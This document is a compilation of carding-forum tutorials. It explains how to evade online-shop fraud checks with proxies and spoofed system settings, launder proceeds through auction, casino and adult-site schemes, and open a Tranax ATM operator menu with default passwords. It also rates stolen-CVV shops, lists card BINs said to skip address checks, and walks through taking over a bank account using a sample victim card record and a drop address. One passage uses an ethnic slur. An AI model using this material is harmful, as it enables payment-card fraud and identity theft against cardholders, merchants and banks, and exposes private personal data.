About MMORPG

So, all it about games and game stuff.

1. MMORPG-Store's AntiFraud & Defence System. So elementary ways of such shops protection are:
- IP-address must be from the same state, better – city;
- Area code in entered phone must be from the same state;
- You'll be invited to live chat and asked for some questions;
- If you're looking nor trusted in first three steps, may be call requested;

2. About games themselves. You should know that many of game-masters don't like that game currencies are selling for real money.
So be ready that in one beautiful day you can see message like "Your account is banned. Reason is hacker, scammer, fraudulent etc". So you're under the risk when you save on account at the age of a week big amounts of game currencies. So don't be lazy and enter periodically on the account and make visibility that you're real gamer and you like to play. And don't forget that if you card the currencies – there could be chargeback. And of course after it your accout will e blocked anyway.

3. What you need for work.
- good proxy-service of course with enough value of socks4/5 located in needed states/cities;
- credit card or better paypal or more better more than one paypal – needed to be explained? I think not;
- e-mail. It's better don't use e-mails like 238jerom32 @yahoo.com. Don't be lazy to search for some nicer addresses: something like MMORPG-KING @INORBIT.COM или SPACEWARRIOR @GAMER.LA (easy.la – hundreds of free domains) или
LINEAGEFUN @WINNING.COM.

4. About shops and their owners. Most of popular MMORPG supermarkets belong to small yellow-skin people with proud of that there are 1 000 000 000 of such people on the Earth. Second place take Americans and the third place take nobody but it's possible to put there people from ex-USSR. And what interesting that last people don't like to serve people from their countries and they mainly targeted on USA and EU customers.

So that's the list of things you will need:
a. Socks-service. Almost everyone knows where to find it.
b. VPN with good encryption.
c. Software:
- Permeo Security Driver, Socks Chain, FreeCAP and Other Analog
- Soft which changes OS Language,OS Regional Settings & Time Zone,Date. Browser Type & Language.
- Trusted track-eracer removing all info without recovering possible: CyberScrub,Ashampoo ,TICEraser,ACRONIS Privacy Suite and other analog)
d. AIM Messenger,Yahoo Messenger for possible contact with shop's support.

All About cashing

In this article I would like to point out some of the working at the present time means of making money and laundering the earnings.

First of all what could you make money on? There are a many topics written that newbie can read, although most of the schemes described are non-working or very difficult to realize. The main schemes are:

- Adult
- Casino / Totalizator
- Auctions

Basically, many articles were written about it. In this article I am going to sum up the schemes and talk about the last stage of carding - what to do with those sums that you managed to make using ways mentioned above, to be exact v how to get cold hard cash in the palm of your hand.

Let's start with auctions.

I will not be talking about making sellers accounts or where to get them - I personally do not sell them so if you are interested in that, search the forum. I will only talk about several characteristics of working with accounts - i.e. what exactly you should do in order for the funds to reach the person that will turn them into cash and eventually get the cash to you.

The first, and important factor of success is the amount of positive feedbacks (responses) on seller-s account, which is the one you-ll be using. When the person searches through the auctions for the merchandize to purchase he pays attention to sellers feedbacks or the lack there of. More feedbacks translate into more trust from your potential buyer.

Do not overlook that after the winner is determined on your lot, you will have to communicate with the buyer by the means of e-mail, therefore you will need to use good English v otherwise the unnecessary suspicions might come into play.

On well-known online auction site eBay there is a list of some goods that are not allowed to be put up for the auction, as for the rest, anything goes from socks up to washing machines.

Now about cashing. The most effective way of getting money out of the auctions - are and always were checks. More precisely, not just any checks, but Money Orders and Cashier Checks. I will explain why:

- Why not wire transfer? The account used for wire will have a really short life span, nervous buyers have a habit of checking when and where did their money go. Keep in mind that they will not wait for too long so you are risking that the deal will go sour in the very end and you will not be able to collect.

- Why not Personal Check? Because, after sending personal check to your drop, the buyer and authorities can easily track and subsequently stop the payment. Same applies to different escrow services like BidPay.

- Money Orders and Cashier Checks v are not checks payable to a named person, but those that you can buy at your local post office or the bank. Those only contain personal information if the buyer decided to put it there. Postal Money Orders, in particular are impossible to stop payment on.

So now we-ve discussed the best ways of getting the money out of the auctions. Keep in mind one nuance: try to ?work? on the buyer who has won your auction so that he stays calm as long as possible about the validity of the deal. It-s in your interests: The longer your buyer remains assured of receiving the merchandize, the longer your drop that receives checks lives, and therefore you?ll be able to make more money.

One more thing that is also very important to keep in mind: Make sure that the buyer is physically as far away as possible from your drop - quite often there are such heroes that come to the address where they sent the check, demanding their goods or money.

Now we shall proceed to on-line gambling and making money on that.

Everyone is familiar with the basic technique. The majority of schemes that are connected in one way or the other with working in casinos are discussed on the CarderPlanet. I will talk only about some aspects concerned with the final (the most important and crucial) stage - with cashing.

After a massive attack of carders on a casino that were processed by MicroGaming (MG), they have ceased to send prizes on ACH as this kind of money transfer meant the name of the owner on the account assigned is not checked. That basically means, the casinos from MG are hardly interesting anymore, because the money withdrawal process has gotten to be quite complicated.

So v does that mean that casino theme has died? Not at all v There are other casinos that are served by different processing companies - for example, EFS. If you dedicate some time on searching the net you are sure to find something

Before working with any casino make sure not to overlook reading their policies. Find out ways of a withdrawal.

After the certain sum of money was won, the initial deposit must be returned on a card. That assures that no one get nervous neither the card owner nor a casino. And everyone, including you, will remain pleased.

Further all is clear - go to reliable cashier for drop or the account, agree about interest and send transfer or the check - depending on a method that this casino uses.

Further - adult (porn-sites).

I?d like to emphasize yet again that quite a lot was written and discussed on this subject. Don-t be lazy and look in archives. A huge amount of information!

Briefly:

1. Create a site or order one from good web designer whom you-ll find on the Planet. A well-made, professional site will improve your odds.

2. Fill it with the content.

3. Connect to billing of your choice that pays often.

4. Make or buy traffic and start to input the card numbers.

During this process pay special attention to changing your proxy servers. Each new card must be linked to a different e-mail address. Do not overlook your system setting especially the language.

On the present day (July, 13, 2002), these are the main schemes in carding that are connected with cashing. There is also a merchandize carding, working with your own merchants, and working with real plastic - but these subjects demand considerable experience so I would not advise beginners to start with them, nor they are connected with cashing, nuances of which were discussed in this article.

And, in conclusion, little about cashing and cashiers.

Work only with professional and well-checked cashiers. Ideal choice - verified people. The beginner or not a well-known cashier, even though he might not be a fake, can simple lack professionalism in this subject (and believe me - in the work of cashier there is such heap of hidden dangers!)

Antifraud systems working

In all online shops which accept credit card was added "Credit Card Fraud Detection service" (further CCFDs). It's task is to percent of possibility of fraud. It counts as named fraud score (FS) based on main factors of legity. For example if FS higher than 2,5 it's adviced to manager to hold order or claim a call.

Factors of fraud:

1. E-mail Domain - they look provider of your e-mail (if it's free email provider like hotmail.com)

2. Geographic Source-IP A country which IP belongs to and a country you're entering in the shop must be the same.

3. Anonymous Proxy - if IP of customer in black list.

4 High Risk Country - for example Russia, Ukrain, Moldova, Belorussia, Columbia, Egypt, Indonesia, Livan, Macedonia

5. Distance-Расстояние - distance between IP location and shipping address.

6. Bin Number Match - country of bank emited the card and country of IP (check by BIN).

9-Carder E-mail - if entered e-mail is in database of famous carders.

10-Open Proxy - check IP on public proxy

11-Spam - checking IP in spam blacklist

And that's the formula for counting FS:

FS =
2.5 * isFreeEmail +
2.5 * countryDoesntMatch +
5 * highRiskCountry +
10 * min(distance,5000) / maxEarthArc +
2 * binDoesntMatch +
5 * carderEmail +
2.5 * proxyScore +
spamScore/3
maxEarth = 20037.

Applied Cryptography for Magnetic Stripe cards

1.0 Introduction

The intention of this document is to provide a basic understanding of cryptography and techniques applied to magnetic stripe cards in the financial industry.

This subject is normally approached with some trepidation by the uninitiated, however it is reasonably straightforward once the basic principles are explained.

Cryptography is complex, but its practical application is less so. It is not necessary to understand the mathematics involved in order to successfully use and manage cryptography in a financial environment.

Because of the security implications of card cryptography, it is extremely hard to find information in any form explaining this application, which adds to the somewhat unnecessary shroud of mystery surrounding the topic. In early implementations, a measure of additional security was provided by ensuring that few people knew exactly how these mechanisms worked and this method of operation has permeated into today?s implementations.

However, none of the information provided in this document will compromise security in any way.

Although other, more secure card tokens are becoming available, the magnetic stripe card is significantly cheaper than alternatives, and is by far the most common card type in use. Security techniques for magnetic cards have slowly but steadily improved, and properly implemented can provide perfectly adequate security for financial transactions in a very cost-effective manner.

2.0 Use of cryptography in financial magnetic stripe cards

The most commonly known use of cryptography is in the provision of a Personal Identification Number, or PIN, to allow a magnetic stripe card to be used in unattended environments such as ATM?s, or in other situations where traditional signature checking is inappropriate. This applies equally to credit, debit and ATM cards. There are not many financial cards in use today that do not have some kind of PIN capability.

A second common use of cryptography is in providing anti-counterfeit mechanisms for the magnetic stripe. The intention is to prevent fraudulent construction of counterfeit cards by inserting a value on the magnetic stripe that cannot be derived from other card information. Thus when a card is validated online this value can be checked to determine whether the card is genuine or a forgery. Several different standards exist for this mechanism, the most common being the VISA Card Verification Value (CVV) or the Mastercard equivalent, CVC. For the purposes of this document I will refer to this mechanism as CVV as this is the term in most common use.

Other uses of cryptography do not directly relate to the card, they generally relate to the encryption of PIN?s and messages whilst being transmitted in a financial environment to prevent their disclosure or alteration.

These items will be discussed in more detail in subsequent sections.

3.0 Basic Cryptography

A basic understanding of cryptographic techniques is required in order to understand this document.

The majority of magnetic card encryption is based on the Data Encryption Algorithm (DEA), usually called DES or Data Encryption Standard. The idea behind DES is that a clear value is passed to the DES algorithm, which can be implemented either as software routines or in dedicated hardware. DES then encrypts the clear value using a key (a secret 64-bit value) and outputs an encrypted value.

The unencrypted input is usually referred to as Cleartext, while the encrypted result is referred to as Ciphertext. The operation that turns cleartext into ciphertext is known in DES terms as an ?encipher? operation.
Figure 1 - DES Encipher operation

Note the following:

The DES algorithm is NOT secret. It is publicly available. The Key, however, is secret.

This process is reversible. Executing a DES ?decipher? function using the same key will convert the ciphertext into cleartext.

A value encrypted with a key is generally referred to as being encrypted ?under? that key.

The security and integrity of the whole operation depends on the secrecy of the key used. The key is a random value that is strictly protected and never disclosed or written down. Most of the complexity involved in DES cryptography systems is related to protecting, storing and transmitting keys, and these activities are referred to as key management.

Note also that the DES encipher operation as described above is not foolproof. In theory, a massively parallel processor could derive the key in about a days processing. Much is made of this possibility in discussions on strengthening security, however, additional procedures can be implemented which go some way towards reducing the effect of this limitation.

If we take a simple example to demonstrate this: computer logon passwords.

Passwords used on computer systems are commonly encrypted after they have been set, and they are stored in a file in encrypted format. When a user signs on, the password is entered, usually in a hidden field, in cleartext. It is important to understand that this value is NOT compared against a value that is deciphered from the password file. The cleartext password in enciphered under the same key and compared against the enciphered value stored on the password file. Cleartext, enciphered under the same key, will always provide the same result, and almost all cryptographic validation compares ciphertext to ciphertext to avoid exposing cleartext values inside computer systems that could be compromised by memory dumps and so on.

Figure 2 - Password encryption

In this scenario however, a user of a password can always claim that his password can be exposed by deciphering the enciphered value, and that this is not under his control - and this is true.

Dynamic key exchange

Many financial systems implement dynamic key exchange. While not exclusively relating to magnetic stripe cards, it is relevant to include it here.

In dynamic key exchange, two parties change keys ?on the fly? to ensure that one key is not used for an extended period and risks exposure. This is normally used in the financial environment where two hosts are exchanging financial authorisation messages - for example an acquirer bank and an issuer bank. When the acquirer bank forwards the PIN to the issuer bank for validation, it must do so encrypted to avoid

disclosure. Obviously, the issuer will need access to the key used to encrypt the PIN so that it may be deciphered for validation. These keys will have been previously agreed, and may be changed using dynamic key exchange where keys are shipped (themselves enciphered under a ?key encryption key?) and changed frequently in real time for added security.

It must be stressed that no cryptography system is ever completely secure. There are always weaknesses in any system, both from a technical viewpoint and operationally, where human and operational procedures may be compromised.

4.0 Practical application of cryptography in Magnetic stripe cards.

The intention of this section is to demonstrate how cryptographic principles are (usually) applied to magnetic stripe cards in a practical context.

4.1 PIN Processing

The PIN principle is based on the fact that nobody other than the legitimate cardholder has knowledge of the PIN. Thus when a PIN is provided for a customer:

It must not be stored anywhere in cleartext (except in the secure PIN mailer destined for the customer)

It must not be possible to reverse-engineer the PIN from information on the magnetic stripe or from a centrally held database.

Normally, a PIN is a 4-digit numeric value. Other schemes exist, but we will use this format for illustration as it is a common standard.

When a PIN is issued, the sequence of events is as follows:

A 4-digit random number is generated. This is the PIN.

The PIN is combined with other information, such as the account number, to create a block of data for input to the cryptography process.

The input block is triple encrypted using the PIN working keys

Digits are selected from the ciphertext result. These become the Pin Verification Value or Pin Offset.

The PIN Offset is stored

The PIN mailer is printed

Memory is cleared to binary zeroes to remove all traces of the clear PIN.

At this point, the only place the PIN value exists is inside the PIN mailer. The PIN cannot be derived from the PIN offset.

When the card is used and the PIN entered, the PIN offset is calculated again from the entered PIN, using the PIN working keys and compared to the stored offset value to determine if the correct PIN was entered. Clearly this means that when a PIN is validated, the validating system must have access to the PIN working keys used during initial PIN issue or subsequent PIN change.

It should be re-emphasised that the offset comprises selected digits from the ciphertext. Typically this would be 4-6 digits. It is not possible to recreate the keys or derive the PIN from this value.

Notes:

I.In some implementations, the PIN offset is stored on the magnetic stripe on the card. This is intended to be used in terminals which can perform local PIN validation. However, this technique is becoming rare as it prevents deployment of user-selectable PIN?s.

II. Where the user is given the option to change PIN, the new offset is calculated in realtime and written to the database. Note that if the PIN is forgotten, it cannot be recreated.

III. The method described above is generic. There are many variations, such as the IBM3624 Method-A, Diebold method, and so on, however the principle remains the same.

IV. In many methods, the framework exists for using different key pairs based on an index value, usually stored on the magnetic stripe. This is a single digit value denoting the index of the key pair to be used. The intent is so that a) the same keys are not used across the entire cardbase, and c) that new keys can be used on re-issue without affecting existing cards.

4.2 CVV processing

It was quickly understood that the proliferation of financial cards exposed institutions to risk from counterfeiters. In the credit card world, this came from manufacture of cards with or without magnetic stripe encoding that possessed valid numbers and seemingly valid names and logos. In the ATM card arena, attackers observed PIN number entry ?over the shoulder?, collated these PIN?s with information from discarded receipts and so on, and constructed their own magnetic stripes on dummy cards for use at their leisure with observed PIN numbers.

These threats and others led to the introduction of the Card Verification Value, a non-derivable sequence of digits constructed by cryptographic process and written to the magnetic stripe of the card. This means that electronic capture of transactions (either at ATM or Point of Sale) are effectively protected against counterfeiters.

A combination of static data such as account number is triple encrypted using a special Card Verification key pair. Selected digits from the result are used to create the CVV, and this is written onto the magnetic stripe.

Similar comments apply to CVV as those for Pin Offset; As the CVV consists of few digits, and triple encryption is used, the CVV keys and values are highly secure and presence of a valid CVV provides an added level of confidence that the card is not counterfeit.

It should be noted that CVV is simply an additional protection method; it is not foolproof. It does not, for instance, protect against fraudulent captures of magnetic stripe data using, say, fake ATM?s.

A further development of CVV, CVV2, is used for telephone authorisations. A similar (although not identical) calculation is performed as for CVV, and selected digits from the result are physically printed on the back of the card. These digits can then be requested by a call centre wishing to determine if the caller is really in possession of the card. Once again, this is an additional check, and not foolproof.

4.3 Key management

Key management relates to the storage, protection and transmission of keys. A single financial installation will have many DES keys, and these require careful management if they are not to become compromised or confused. One of the worst forms of debugging of computer faults is when cryptography is involved as traces and dumps are meaningless, and it can be very hard to discover that the wrong cryptography keys are being used!

Keys are normally managed in hierarchies. Keys that are actually used for computation, such as PIN validation [working keys] are themselves stored in enciphered format under a key encryption key. Other

key sets will exist for transporting keys from one location to another, such as two nodes in a network. These are known as transport keys.

In good key management systems, working keys are never stored or exposed in clear format. Even when they are initially created, they are frequently created by automated process and never known to individuals.

When initial keys are created, the 64 bits are split between two or more individuals, who then toss a coin once for each bit required. The two or more individuals then key in their segment of the random key alone, and thus no one individual ever has sight of a whole key. This method is normally used for initial master key generation.

Although a simple concept, key management can become quite complex in implementation.

In a simple ATM network for instance, a terminal master key is used to encipher working keys in transit. A terminal master key (TMK) is generated for each terminal, split into two halves and printed (or sometimes encoded on a special magnetic card). Each TMK is then installed at their respective ATM?s. The host system will then download terminal working keys, enciphered under the respective terminal master key, to each ATM. The terminal working key is then used to encipher PIN data in transit to the host during normal processing. If required, the terminal working key can be changed at regular intervals or through dynamic key exchange - but this process requires careful management.

It should be noted that the biggest single security exposure to DES based cryptographic subsystems is in the exchange of keys, thus good key management procedures are paramount.

4.4 Physical implementation

Cryptographic processing and key management is normally performed in specialised, dedicated secure hardware. Although DES can be implemented entirely in software (using products such as IBM?s PCF), it is less secure, and the DES algorithm can be quite processor intensive.

There are companies that specialise in dedicated cryptographic units, such as Racal and Atalla. They are commonly called HSM?s (Host Security Module) although this is the Racal proprietary name for the unit.

When using these devices, the intent is that all encipher and decipher activity takes place in the secure unit, and that clear keys and cleartext values are never exposed outside the unit.

Physically, HSM?s are tamper proof and intended for installation in secure computer rooms. Attempts to open them will result in the destruction of keys contained in the devices.

HSM?s are also capable of generating new random keys and random numbers for use as PIN?s in a secure manner.

Some applications use physical telecommunications line encryption for added security, and there are a variety of manufacturers of this type of device. They are effectively ?black box? and require no special knowledge.

5.0 Examples

5.1 Cryptography in a normal ATM withdrawal
Consider a common ATM transaction:
A customer inserts his card in the ATM
The customer enters his PIN
The customer requests cash
The transaction is approved, cash is dispensed
There?s an awful lot of cryptography going on in this process. For simplicity, we?ll assume the acquiring

and issuing bank are the same.

The cryptography activity is identified in italics in the sequence:

1. A customer inserts his card in the ATM
The magnetic stripe is read and stored in a buffer in the ATM

2. The customer enters his PIN
The PIN is entered into a tamper-proof PIN pad The stored PIN is stored in a security module in hardware

3. The customer requests cash
The message is constructed in the ATM The PIN (and possibly more) is enciphered under the Terminal key

The message is sent to the host, possibly enciphered in comms hardware.

On receipt at the host, the comms level encryption is deciphered The CVV is calculated and compared to the value on the magstripe The PIN under the Terminal key is deciphered The PIN offset or PVV is calculated The PIN offset or PVV is compared to the database of PVV?s

4. The transaction is approved, cash is dispensed

Note: all the host cryptography functions are normally performed in the Host Security module. No Cleartext values are exposed to application programs or outside the secure environment.

5.2 Cryptography in an EFTPoS transaction

Even in a signature authorised environment, the CVV from the magnetic stripe can be validated at the host system to detect counterfeit cards. Clearly this only works in online environments as the CVV validation requires a cryptographic calculation to be performed at the host.

[Note: It is possible, and some manufacturers support, local key storage on EFTPoS devices and distributed terminals. Because of the key management complications, these devices are not considered here]

A more common use of cryptography in EFTPoS environments (and, increasingly in ATM and other traffic) is the MAC (Message Authentication Code). The MAC check can be thought of as a value calculated from the contents of all the critical fields in a message (such as card number and amount) and passed through a cryptographic algorithm. Although the message is carried over transmission lines in clear, the validation of the MAC field at the recipient will determine whether fields have been tampered with. [for the technically minded, MAC can be thought of as an encrypted LRC field]. The overhead of MAC is quite small. (The MAC is defined as 16 bytes in ISO8583).

5.3 Other financial cryptography applications

As well as traditional uses of cryptography as described above, interbank networks (such as SWIFT) have historically been large users of cryptographic techniques.

A plethora of new delivery mechanisms and far wider distribution of advanced technology to the public has increased both the interest in and the use of cryptographic techniques.

In cases where cryptography is required for widespread dissemination to the public (such as PC based home banking) ordinary DES is too complex to manage securely. More appropriate and more secure algorithms such as RSA (A ?public key? encryption system) have evolved and been deployed in these environments - they are outside the scope of this paper but review of public key algorithms is especially encouraged where appropriate.

Some corporate, EDI and treasury applications use highly secure DES with a combination of techniques - MAC, physical encryption, dynamic key exchange, smart card key storage and so on. In one implementation reviewed, the working key is changed every transaction by the result of a MAC key calculation residue (a so-called ?one time? key system).

ATM Hacking Tutorial

HOW TO HACK THE TRANAX MINIBANK 1500 ATM MACHINE

“ENTER PASSWORD” will be displayed. Enter
Master, Service or Operator Password.
Defaults:
Master =555555
Service = 222222
Operator = 111111

#1- To access the Operator Function menu, hold the <Cancel>, <Clear> and <Enter> keys simultaneously for 2 seconds, release them and press 1, then press 2, then press 3. The timing of this procedure can be difficult at first.
Note: The Operator Function menu can only be accessed when the machine is either in service (“swipe your card” screen) or out of service. If the machine is attempting to connect the host or initializing, you will not be able to use the key commands to access the Operator Function Menu.
If you have trouble accessing the Operator Menu, power off the ATM and then either open the vault door or remove the paper from the printer and power back on. This will force the ATM to the Operator Menu.

2- Once you successfully completed the key combination, you will be prompted to enter a password. There are 3 options for passwords.
· Operator Password (allows access to basic menu structure)
· Service Password (allows access to basic and diagnostic menus)
· Master Password (allows access to all menus including setup parameters)
Passwords are very important to maintaining security for your ATM. Your dealer/distributor will provide you with default password information.

3- left is the complete Operator Function menu, depending on which password you entered (operators, service, master) you may not see certain functions. For example, if you use an operator password you will not see the Host Setup button, as you will not have access to that menu.

good luck.

AUTOMATIC CVV SHOPS RATED

Here il be rating all the automatic CVV selling shops.

vlt.cc - vault market - 95% rating - VERY GOOD

pwnshop.cc - pawn shop - 80% rating - VERY GOOD TO GOOD

cardshop.tv - card shop - 80% rating - VERY GOOD TO GOOD

ccstore.ru - cc store - 75% rating - GOOD

freshstock.biz - fresh stock - 65% rating - OK

ccc.lc - SHOP - 60% rating - OK

All the ratings are based on the
-cvv quality and validity
-how easy funds can be loaded
-the quality of the support being provided by admin and owners of the shop

Please feel free to add and comment on the shops you know.

enjoy

Avs Pass Bins

For people who dont know what non-avs cards are here is the explanation:
AVS (Address Verification System) is used to check if the billing address provided is correct. For example even if the card details (CCnum, exp.date, 3/4 digit security code) matches the correct info and the Billing address does not macth, the card is marked as "Declined" and the order does not proccess.
AVS connects to the bank and verifies the info provided.
However some banks do not allow this kind of verification, allowing the carder to input whatever billing information they want.

Q) Why are non-avs card so useful?
The answer is very simple. You can just input the shipping address as billing address when carding, means it would be same, which is a lot higher chance for the stuff to ship.

So here we go.
Visa:
492142
454623
453904
407220
492942
477912
456469
492942
456004
466188

MasterCard:
523232

Awesome BINs

Me and my partners have been carding for over 10 to 15 years.
In my base of research over the last 2 years, i have selected these 101 BIN's as being to best card with in USA, EUROPEAN, ASIAN AND UK SHOPS POS (POINT.OF.SALE) systems. These cards on these BINs are proven to authorise for swipes of 600usd all the way to 12.5k usd per 1 swipe.

Я и мои партнеры были кардинг более 10 до 15 лет.
В моей базе исследования в течение последних 2 лет, я выбрал эти 101 BIN, как в том, чтобы лучшая карта в США, европейских и Великобритании МАГАЗИНЫ POS (POINT.OF.SALE) систем. Эти карты на эти бункеры оказалось разрешение на пойло из 600usd весь путь до 12.5k долл. США за 1 салфетки.

601100 OK DISCOVER USA
601120 OK DISCOVER USA
601129 OK DISCOVER USA
601130 OK DISCOVER USA
601149 OK DISCOVER USA
603532 1 Citibank (Home Depot) USA
371267 15 AMEX USA GREEN
371268 16 AMEX USA GREEN
371269 14 AMEX USA GREEN
371271 3 AMEX USA GREEN
371273 4 AMEX USA GREEN

371274 13 AMEX USA GREEN
371275 15 AMEX USA GREEN
371276 42 AMEX USA GREEN
371277 48 AMEX USA GREEN
371278 37 AMEX USA GREEN
371279 28 AMEX USA GREEN
371280 29 AMEX USA GREEN
371281 44 AMEX USA GREEN
371282 47 AMEX USA GREEN
371310 19 AMEX USA BLUE FOR BUSINESS
371311 14 AMEX USA GOLD
371312 19 AMEX USA GOLD
371313 26 AMEX USA GOLD
71319 44 AMEX USA PLATINUM
371320 OK AMEX USA CENTURION
371321 51 AMEX USA PLATINUM
371322 OK AMEX USA PLATINUM
371323 92 AMEX USA SMALL CORPORATE CARD
371324 75 AMEX USA SMALL CORPORATE CARD
371544 38 AMEX USA CENTURION
371545 63 AMEX USA CENTURION
371546 63 AMEX USA CENTURION
371547 30 AMEX USA CENTURION
371548 49 AMEX USA CENTURION
371549 48 AMEX USA CENTURION
400216 1 Teller A.S. Debit PLATINUM Norway Oslo - NEW
400226 20 Blackhawk Community Credit Union Debit CLASSIC United States of America Janesville Wisconsin WI NEW
400229 1 Capital One Bank (Usa), National Association Credit BUSINESS United States of America Glen Allen Virginia VA NEW
400264 18 ITS Bank Debit CLASSIC United States of America Johnston Iowa IA NEW
400266 6 Columbia Community Credit Union Debit BUSINESS United States of America Vancouver Washington WA NEW
400275 20 Fia Card Services, National Association (2) Credit BUSINESS United States of America Wilmington Delaware DE NEW
400279 2 Sidell State Bank Debit CLASSIC United States of America Sidell Illinois IL NEW
400284 12 First United National Bank Debit CLASSIC United States of America Fryburg Pennsylvania PA NEW
400292 8 Eecu A Community Credit Union Debit CLASSIC United States of America Jackson Michigan MI NEW
400309 2 The Bank of Nova Scotia Credit CLASSIC Dominican Republic NEW
400336 24 Peapack-Gladstone Bank Debit CLASSIC United States of America Gladstone New Jersey NJ NEW
400343 4 West Coast Bank Debit PLATINUM United States of America Lake Oswego Oregon OR NEW
400344 OK Capital One Bank (Usa), National Association Credit PLATINUM United States of America Glen Allen Virginia VA NEW
400375 15 Silverton Bank, National Association Credit BUSINESS United States of America Atlanta Georgia GA NEW
400379 3 Fremont Bank Debit BUSINESS United States of America Fremont California CA NEW
400382 2 The Monticello Banking Company Debit BUSINESS United States of America Monticello Kentucky KY NEW
400600 1 Rockwood Bank Debit CLASSIC United States of America Eureka Missouri MO NEW
400603 27 Signature Bank Debit CLASSIC United States of America Bad Axe Michigan MI NEW
441238 68 First Federal Bank of Ohio Debit CLASSIC United States of America Galion Ohio OH NEW
441241 1 Lancaster Red Rose Credit Union Debit CLASSIC United States of America Lancaster Pennsylvania PA NEW

441242 5 Arrowhead Bank Debit CLASSIC United States of America Llano Texas TX NEW
441251 94 Commerce Bancshares, Inc. Debit CLASSIC United States of America Kansas City Missouri MO NEW
441254 39 Commerce Bancshares, Inc. Credit CLASSIC United States of America Kansas City Missouri MO NEW
441276 8 Commerce Bancshares, Inc. Debit BUSINESS United States of America Kansas City Missouri MO NEW
441277 18 Elevations Credit Union Debit CLASSIC United States of America Boulder Colorado CO NEW
441278 6 Elevations Credit Union Credit CLASSIC United States of America Boulder Colorado CO NEW
38421 2 |201| PLATINUM (CREDIT) | CITIBANK BERHAD | MALAYSIA
438502 1 |101| CLASSIC (DEBIT) | WELLS FARGO BANK N.A. | USA
438526 1 |101| CLASSIC (DEBIT) | STATE CENTER C.U. | USA
438573 1 |101| CLASSIC (DEBIT) | WELLS FARGO BANK N.A. | USA
438634 1 |101| CLASSIC (DEBIT) | SECURITYPLUS F.C.U. | USA
438688 2 |101| CLASSIC (DEBIT) | MERIWEST C.U. | USA
438736 1 |101| PLATINUM (CREDIT) | MAYO EMPLOYEES F.C.U. | USA
438755 5 |101| CLASSIC (CREDIT) | SAN DIEGO COUNTY C.U. | USA
516319 8 |201| STANDART (DEBIT) | WESTPAC BANKING CORPORATION | AUSTRALIA
516320 1 |201| STANDART () | WESTPAC BANKING CORPORATION | AUSTRALIA
516321 1 |201| () | WESTPAC BANKING CORPORATION | AUSTRALIA
516330 1 |201| STANDART () | WESTPAC BANKING CORPORATION | AUSTRALIA
517669 4 |101| GOLD (DEBIT) | HSBC BANK NEVADA N.A. | USA
517800 11 |101| GOLD (DEBIT) | FIRST PREMIER BANK | USA
517805 96 |101| PLATINUM (DEBIT) | CAPITAL ONE BANK | USA
517873 1 |101| (DEBIT) | CU COOPERATIVE SYSTEMS | USA
517945 1 |101| PLATINUM (DEBIT) | CHASE BANK USA N.A. | USA
450998 46 VALES_INTERCONTINENTALES_S.A. CREDIT GOLD/PREM COSTA_RICA
451477 1 AVAL_CARD_(COSTA_RICA),_S.A. CREDIT PLATINUM COSTA_RICA
454738 1 TARJETAS_CUSCATLAN_S.A. CREDIT BUSINESS COSTA_RICA
492151 16 VALES_INTERCONTINENTALES_S.A. CREDIT CLASSIC COSTA_RICA
493189 2 AVAL_CARD_(COSTA_RICA),_S.A. CREDIT GOLD/PREM COSTA_RICA
493190 2 AVAL_CARD_(COSTA_RICA),_S.A. CREDIT CLASSIC COSTA_RICA
415080 1 WELLS_FARGO_BANK,_N.A. N/A N/A UNITED_STATES_OF_AMERICA
415083 3 WELLS_FARGO_BANK,_N.A. N/A N/A UNITED_STATES_OF_AMERICA
415086 3 WELLS_FARGO_BANK,_N.A. N/A N/A UNITED_STATES_OF_AMERICA
476900 69 ZIONS_FIRST_NATIONAL_BANK CREDIT BUSINESS UNITED_STATES_OF_AMERICA
477323 1 ICBA_BANCARD N/A N/A UNITED_STATES_OF_AMERICA
477324 1 WELLS_FARGO_BANK,_N.A. N/A N/A UNITED_STATES_OF_AMERICA
477327 8 WELLS_FARGO_BANK,_N.A. N/A N/A UNITED_STATES_OF_AMERICA
491473 4 ICBA_BANCARD N/A N/A UNITED_STATES_OF_AMERICA
491477 3 ICBA_BANCARD N/A N/A UNITED_STATES_OF_AMERICA
491485 3 ICBA_BANCARD N/A N/A UNITED_STATES_OF_AMERICA
491494 2 ICBA_BANCARD N/A N/A UNITED_STATES_OF_AMERICA
491901 2 NCSC_F.C.U. DEBIT CLASSIC UNITED_STATES_OF_AMERICA

Bases of thing carding

This article, I hope, will help beginners to answer myself immemorial question ?. To begin with we need to understand that here, as well as in any business, there is a chain and if simply to hammer somewhere a card, anybody home won't send the goods to you. As a rule this chain is realized by 2 persons the one who the goods and that who it accepts a carditis. To the beginner to do simultaneously both that and another isn't real almost. We will consider these two links more in detail further.

To begin with it is necessary to find shop, it is natural online shop in which we will make purchase. It is not necessary to be greedy since to receive плазменник with a cinema for 10K it will not turn out for many reasons. We choose to themselves the type goods ноута or фотика, вобщем by more low 1K-1.5K ? for beginners it is optimum IMHO. We take a card Further, for purchase it needs to be prepared. Since to order on the address of its owner doesn't leave and the sense isn't present. It is necessary to order on дропа. Дроп it is citizen US with whom have dissolved that it has accepted a parcel and has sent it where will tell and for it has received the 30-50 dollars (+ геморняк on all life forward ? ыыы). But we will not be hurries up, we will assume at us there is here such card:
name_on_card=mark s messina
address1=60 plainfeild ave
city=west haven
state=CT
zipcode=06516
country=US
credit_card=4*****0101504612
exp_month=03
exp_year=2008
cvv2=282
I hope to decipher this field it is necessary to nobody.
Further it is necessary to make Enroll.
For this purpose it is required to us SSN (Social Security Number) + DOB (Day of Birthday) + MMN (Mother Maiden Name). To find such information it is possible at shEn or ? (as advertizing) By the way in some banks for энрола, besides the listed data it is necessary ищё nobility PIN or ATM. To pass this degree of protection extremely difficult and нахрен not нада for such business. To learn to what bank the card concerns it is possible on a bin, i.e. on the first figures in card number. Use program CC2Bank (read here this theme - http://www.verified.ru/showthread.php?t=26). We go on a bank site Further, we come into section Enroll (if you visually can't find this section, используйте search on a bank site). We pass all offered countries Further, stage by stage entering on them the data, an e-mail it is possible to enter any, Jahu and not Hotmail certainly is desirable not. (I hope that it is necessary to use a proxy etc. it is not necessary to remind). You have received Online access to a card, here it is possible to look what balance on a card (it should surpass at least in 2-3 times planned purchase) and there is a section where it is possible to change the data on a card. (To describe as sections where I will not search for these buttons etc. ? since it silly, in each bank on a miscellaneous) are called. So if the balance good, goes to section for change инфы. It is possible to replace only Address1, City, State, Zipcode and Phone number.We take information of dropa, it will be for example:
70 Tunstill Loop Rd
Fayetteville
TN
37334
(Thanks xTc for given инфу about the person, which already likely on plank beds).
